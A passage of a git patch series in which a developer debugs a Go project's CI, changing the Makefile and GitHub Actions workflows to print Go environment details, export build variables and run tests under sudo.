go test -failfast -vet=off -race ./... || (echo an error while testing, exiting!; sh -c 'exit 1';) + go test -failfast -vet=off -race ./... || (echo an error while testing, exiting!; sh -c 'exit 1';) .PHONY: test-with-coverage test-with-coverage: tidy - sudo go mod tidy - sudo go mod vendor - sudo go test ./... -race -coverprofile=coverage.txt -covermode=atomic + go test ./... -race -coverprofile=coverage.txt -covermode=atomic .PHONY: update update: tidy From 3555bdfc16aa4f5f521fc98e1ff877d84831ad6c Mon Sep 17 00:00:00 2001 From: bilalcaliskan Date: Sat, 3 Sep 2022 16:36:44 +0300 Subject: [PATCH 15/22] print go version for debugging --- .github/workflows/pr.yml | 4 ++-- .github/workflows/push.yml | 4 ++-- Makefile | 3 +++ 3 files changed, 7 insertions(+), 4 deletions(-) diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index bad93a4..d232c2d 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -98,11 +98,11 @@ jobs: os: [ubuntu-latest, macos-latest] runs-on: ${{ matrix.os }} steps: + - name: Checkout code + uses: actions/checkout@v3 - name: Install Go uses: actions/setup-go@v3 with: go-version-file: "go.mod" - - name: Checkout code - uses: actions/checkout@v3 - name: Test run: make -s build diff --git a/.github/workflows/push.yml b/.github/workflows/push.yml index f5a2056..49e27aa 100644 --- a/.github/workflows/push.yml +++ b/.github/workflows/push.yml @@ -111,12 +111,12 @@ jobs: os: [ubuntu-latest, macos-latest] runs-on: ${{ matrix.os }} steps: + - name: Checkout code + uses: actions/checkout@v3 - name: Install Go uses: actions/setup-go@v3 with: go-version-file: "go.mod" - - name: Checkout code - uses: actions/checkout@v3 - name: Test run: make -s build diff --git a/Makefile b/Makefile index 2942a81..be56886 100644 --- a/Makefile +++ b/Makefile @@ -104,11 +104,14 @@ run-vet: .PHONY: test test: tidy + go version $(info starting the test for whole module...) go test -failfast -vet=off -race ./... || (echo an error while testing, exiting!; sh -c 'exit 1';) .PHONY: test-with-coverage test-with-coverage: tidy + go version + $(info starting the test for whole module...) go test ./... -race -coverprofile=coverage.txt -covermode=atomic .PHONY: update From 78da44ad8a8cbb1f7694f8d32ec7ea7b56036006 Mon Sep 17 00:00:00 2001 From: bilalcaliskan Date: Sat, 3 Sep 2022 16:38:48 +0300 Subject: [PATCH 16/22] ci: print golang version before tidy --- Makefile | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/Makefile b/Makefile index be56886..ebd61c5 100644 --- a/Makefile +++ b/Makefile @@ -62,6 +62,7 @@ upgrade-direct-deps: tidy .PHONY: tidy tidy: + go version go mod tidy go mod vendor @@ -104,13 +105,11 @@ run-vet: .PHONY: test test: tidy - go version $(info starting the test for whole module...) go test -failfast -vet=off -race ./... || (echo an error while testing, exiting!; sh -c 'exit 1';) .PHONY: test-with-coverage test-with-coverage: tidy - go version $(info starting the test for whole module...) go test ./... -race -coverprofile=coverage.txt -covermode=atomic From 3fac4030fee7b7bf321ccee5999c629c50193096 Mon Sep 17 00:00:00 2001 From: bilalcaliskan Date: Sat, 3 Sep 2022 16:46:50 +0300 Subject: [PATCH 17/22] print gopath --- Makefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Makefile b/Makefile index ebd61c5..5c8c8db 100644 --- a/Makefile +++ b/Makefile @@ -62,7 +62,7 @@ upgrade-direct-deps: tidy .PHONY: tidy tidy: - go version + echo $GOPATH go mod tidy go mod vendor From 8241366b782ad08fe2bf4a46d392cc804a3e3c87 Mon Sep 17 00:00:00 2001 From: bilalcaliskan Date: Sat, 3 Sep 2022 16:48:02 +0300 Subject: [PATCH 18/22] export GOPATH --- Makefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Makefile b/Makefile index 5c8c8db..ff5c904 100644 --- a/Makefile +++ b/Makefile @@ -62,7 +62,7 @@ upgrade-direct-deps: tidy .PHONY: tidy tidy: - echo $GOPATH + export GOPATH="/home/runner/go" go mod tidy go mod vendor From 87f1e56bae57e99ab9cc06a9b8cfc165ac34145e Mon Sep 17 00:00:00 2001 From: bilalcaliskan Date: Sat, 3 Sep 2022 16:50:22 +0300 Subject: [PATCH 19/22] print goenv for debugging --- Makefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Makefile b/Makefile index ff5c904..7ad9e22 100644 --- a/Makefile +++ b/Makefile @@ -62,7 +62,7 @@ upgrade-direct-deps: tidy .PHONY: tidy tidy: - export GOPATH="/home/runner/go" + go env go mod tidy go mod vendor From a874ee484e7d5db8850ce2e629c5eefce90d8c35 Mon Sep 17 00:00:00 2001 From: bilalcaliskan Date: Sat, 3 Sep 2022 16:57:39 +0300 Subject: [PATCH 20/22] ci: export required variables --- Makefile | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/Makefile b/Makefile index 7ad9e22..05f9a8b 100644 --- a/Makefile +++ b/Makefile @@ -62,7 +62,11 @@ upgrade-direct-deps: tidy .PHONY: tidy tidy: - go env + export GOCACHE="/home/runner/.cache/go-build" + export GOMODCACHE="/home/runner/go/pkg/mod" + export GOPATH="/home/runner/go" + export GOTOOLDIR="/opt/hostedtoolcache/go/1.19.0/x64/pkg/tool/linux_amd64" + export GOVERSION="go1.19" go mod tidy go mod vendor From a703569814b21d4e20c3b0f897ca8a778e5093b6 Mon Sep 17 00:00:00 2001 From: bilalcaliskan Date: Tue, 6 Sep 2022 21:58:18 +0300 Subject: [PATCH 21/22] ci: use E flag with sudo --- .github/workflows/pr.yml | 4 ++-- .github/workflows/push.yml | 4 ++-- Makefile | 4 ++-- 3 files changed, 6 insertions(+), 6 deletions(-) diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index d232c2d..13a535a 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -46,7 +46,7 @@ jobs: with: go-version-file: "go.mod" - name: Test - run: sudo make -s test + run: make -s test codeql: runs-on: ubuntu-latest @@ -77,7 +77,7 @@ jobs: with: go-version-file: "go.mod" - name: Coverage Test - run: sudo make -s test-with-coverage + run: make -s test-with-coverage - name: SonarCloud Scan uses: SonarSource/sonarcloud-github-action@master env: diff --git a/.github/workflows/push.yml b/.github/workflows/push.yml index 49e27aa..80f4b94 100644 --- a/.github/workflows/push.yml +++ b/.github/workflows/push.yml @@ -47,7 +47,7 @@ jobs: - name: Checkout code uses: actions/checkout@v3 - name: Test - run: sudo make -s test + run: make -s test codeql: runs-on: ubuntu-latest @@ -86,7 +86,7 @@ jobs: with: go-version-file: "go.mod" - name: Coverage Test - run: sudo make -s test-with-coverage + run: make -s test-with-coverage - name: SonarCloud Scan uses: SonarSource/sonarcloud-github-action@master env: diff --git a/Makefile b/Makefile index 05f9a8b..bfe5e04 100644 --- a/Makefile +++ b/Makefile @@ -110,12 +110,12 @@ run-vet: .PHONY: test test: tidy $(info starting the test for whole module...) - go test -failfast -vet=off -race ./... || (echo an error while testing, exiting!; sh -c 'exit 1';) + sudo -E go test -failfast -vet=off -race ./... || (echo an error while testing, exiting!; sh -c 'exit 1';) .PHONY: test-with-coverage test-with-coverage: tidy $(info starting the test for whole module...) - go test ./... -race -coverprofile=coverage.txt -covermode=atomic + sudo -E go test ./... -race -coverprofile=coverage.txt -covermode=atomic .PHONY: update update: tidy From c03240cde711239e383fa11e4284404100aaf313 Mon Sep 17 00:00:00 2001 From: bilalcaliskan Date: Tue, 6 Sep 2022 22:05:08 +0300 Subject: [PATCH 22/22] ci: change go test command with the proper one --- Makefile | 9 ++------- 1 file changed, 2 insertions(+), 7 deletions(-) diff --git a/Makefile b/Makefile index bfe5e04..2cc9862 100644 --- a/Makefile +++ b/Makefile @@ -62,11 +62,6 @@ upgrade-direct-deps: tidy .PHONY: tidy tidy: - export GOCACHE="/home/runner/.cache/go-build" - export GOMODCACHE="/home/runner/go/pkg/mod" - export GOPATH="/home/runner/go" - export GOTOOLDIR="/opt/hostedtoolcache/go/1.19.0/x64/pkg/tool/linux_amd64" - export GOVERSION="go1.19" go mod tidy go mod vendor @@ -110,12 +105,12 @@ run-vet: .PHONY: test test: tidy $(info starting the test for whole module...) - sudo -E go test -failfast -vet=off -race ./... || (echo an error while testing, exiting!; sh -c 'exit 1';) + go test -failfast -vet=off -race -exec sudo ./... || (echo an error while testing, exiting!; sh -c 'exit 1';) .PHONY: test-with-coverage test-with-coverage: tidy $(info starting the test for whole module...) - sudo -E go test ./... -race -coverprofile=coverage.txt -covermode=atomic + go test -race -exec sudo ./... -coverprofile=coverage.txt -covermode=atomic .PHONY: update update: tidy